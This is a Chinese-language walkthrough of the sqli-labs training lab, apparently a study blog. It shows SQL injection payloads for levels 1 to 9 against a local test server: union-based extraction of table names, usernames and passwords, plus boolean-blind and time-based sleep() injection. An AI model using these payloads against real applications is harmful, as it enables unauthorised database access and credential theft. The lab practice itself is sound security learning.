【sqli-labs】学习--待续
预备知识:
数字型注入:
这种sql语句中处理的是整型,不需要使用单引号来闭合变量的值。
首先输入id=1',此时因为不是整型,sql语句会执行出错,抛出异常。
然后输入id=1 and 1=1,此时语句正常执行,页面无反应。
最后输入id=1 and 1=2,此时语句正常执行,但是查询不到结果,返回数据跟原始网页存在差距
以上三点,基本可以证明为数字型注入。
字符型注入:
首先输入admin’,因为本身存在引号闭合,所以多了一个引号,执行出错。加上注释符号,mysql存在三种注释符号:-- # /**/(其中--要求和注释文字之间要有空格符,所以一般用--+),比如输入admin' --+成功,改成 admin' and 1=2 --则会报错
因此基本可以判断为字符型注入。
字符型对数字不敏感,id='1 and 1=2',也会继续执行id='1'的结果
Less-1:
输入id,有回显:

说明存在select * from xxx where id='$id'
输入引号有报错,说明引号被sql语句执行了:

limit 0,1表示从第0行开始提取一个数据。
输入id=1'--+,执行成功,说明是字符注入,sql语句中闭合的引号被--+注释了。

接下来看表中有几列数据
order by 3显示正常:

order by 4显示错误:

说明表中存在三列数据,因为没有第四列,不能根据第四列进行排序。
接下来查看回显位在哪
因为页面上的显示并不显示查询到的所有列,只有其中一两列。
输入id =444 'union select 1,2,3 --+:

可见回显位为第二列和第三列,id=444是为了使得union前面的查询结果为NULL。
开始查询数据库名以及表名
查询数据库:
union select 1,database(),3

说明数据库名为security。
sql 5.0以上版本中存在information_schema()数据库,其中保存了所有数据库的信息 :
union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='security')

可见表名为emails,referers,uagents,users。其中group_concat()用于将所有结果列出。
查询列名:
select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')

可见几个列名。
查询用户名:
select 1,2,(select group_concat(username) from security.users)

密码:

Less-2:
1有回显,1 and 1=1有回显,1 and 1=2显示如下:

可见是数字型注入。
那么下面的步骤只需要直接在id号后面进行union即可。原理同上,不再赘述。
Less-3:
测试可得到id=(''),因此只要将语句改成:
id=66') union select 1,2,3--+
后面同上。
Less-4:
直接测试id=1",可见报错:

说明后端代码中sql语句应该为id=(""),所以只要将语句改成:
66") union select 1,2,3 --+
Less-5:
测试id=1 显示正常:

测试id=1'显示错误:

测试id=1'--+显示正常:

至此基本上可以确定为字符型注入,单引号闭合,并且没有回显。
测试id=6,没有输出,因此为布尔盲注:

判断列数为4列:


查询数据库名第一个字母:
http://127.0.0.1/sql/Less-5/?id=1' and left((select database()),1)<'t'--+
#left((select database()),1)用于分离查询结果的第一个字母,使用二分法查找
可见数据库第一个字母小于t。

输入>t时查询显示错误:

爆破表名,在爆破第四个表名时,发现为users:
http://127.0.0.1/sql/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 3,1),2)='us'--+
#limit 3,1用于限制此时为第四个表
后续则同样从information_schema中查询即可。
Less-6
输入id=1",显示错误:

当输入1"--+时显示正确,说明是双引号闭合的字符型注入。
后面同上即可
Less-7
输入id=1"--+,可得为字符型注入:

可以使用布尔盲注,题目要求使用outfile
描述一下数据库file和into/outfile命令
数据库file权限用于限定用户向OS写入和读取文件的权限,
into/outfile命令用于对文件的读写
Less-9
首先判断为字符注入:

然后测试1',1'--+等全返回一样,所以尝试时间盲注
只有输入:http://127.0.0.1/sql/Less-9/?id=6' and sleep(10)--+时才有延迟,
输入:http://127.0.0.1/sql/Less-9/?id=6 and sleep(10)--+时没有延迟
爆破表名:
输入:
http://127.0.0.1/sql/Less-9/?id=6' and sleep(10) and left((select database()),1)>'t'--+
此时不会延迟,说明数据库名第一个字母<t,因为语句执行错误,不会执行到sleep(10)
剩下同less-5。
【sqli-labs】学习--待续的更多相关文章
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli labs系列-less-5&6 报错注入法(上)
在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
随机推荐
- 【promptulate专栏】ChatGPT框架——两行代码构建一个强大的论文总结助手
本文节选自笔者博客:https://www.blog.zeeland.cn/archives/019hasaa 前言 如果你经常阅读论文,那么你肯定会遇到以下几个问题: 论文晦涩难懂看不明白怎么办? ...
- 2023-06-28:你想要用小写字母组成一个目标字符串 target。 开始的时候,序列由 target.length 个 ‘?‘ 记号组成 而你有一个小写字母印章 stamp。 在每个回合,你可
2023-06-28:你想要用小写字母组成一个目标字符串 target. 开始的时候,序列由 target.length 个 '?' 记号组成 而你有一个小写字母印章 stamp. 在每个回合,你可以 ...
- SSM项目整合思路以及代码
当前真实的企业开发中,SpringBoot已经统一Java企业应用开发,很少有在使用SSM项目来进行项目开发的. 可是在教学阶段,还是很有必要给学生讲解Java开发中一套很经典的框架,SSM框架.作为 ...
- 从TL、ITL到TT
1.概述 ThreadLocal(TL)是Java中一种线程局部变量实现机制,他为每个线程提供一个单独的变量副本,保证多线程场景下,变量的线程安全.经常用于代替参数的显式传递. Inheritable ...
- SpringBoot项目:net.sf.jsqlparser.parser.ParseException: Encountered unexpected token:XXXXX
原文地址 写在前面 最近开发过程中,在where条件中使用IF函数,在MySQL数据库中,使用Navicat运行没有问题,但是运行项目的时候,死活过不去,一直报错,后来一番折腾找到了解决方案,所以,以 ...
- PWM点灯
目录 PWM脉冲宽调点灯 前言 1.什么是PWM 2.PWM的实现 3.PWM实现步骤(通用定时器) 3.1 打开定时器的时钟 3.2 配置端口 3.3 设置定时器 3.4 设置PWM 3.5 完整代 ...
- mysql基础_约束
介绍 约束对应的英语单词:constraint,在创建表的时候,我们可以给表中的字段加上一些约束,来保证这个表中数据的完整性.有效性. 约束的作用就是为了保证:表中的数据有效. 类型 非空约束:not ...
- Linux 上 KVM 虚拟机网络问题
通过控制台连接虚拟机,ping自己的ip,ping宿主机的ip,ping同网段的ip 1. 自己的ip也不通,先检查网络配置 2. 宿主机的ip不通,就要确认下虚拟机网卡的类型 对于macvlan网卡 ...
- 第十六届全国大学生 信息安全竞赛创新实践能力赛wp
这是我第一次参加ctf,有许多东西都还不会,感觉有一些题挺有趣的,多积累积累经验吧. crypto Sign_in_passwd 下发了一个叫flag的文件,用记事本打开发现是两行加密,第一行看着像b ...
- nuitka 将程序编译为单个exe
原文链接:https://github.com/Nuitka/Nuitka 在Windows上,有两种模式,一种是将其复制到您公司指定的AppData,也将其用作缓存,另一种是在临时目录中进行.您需要 ...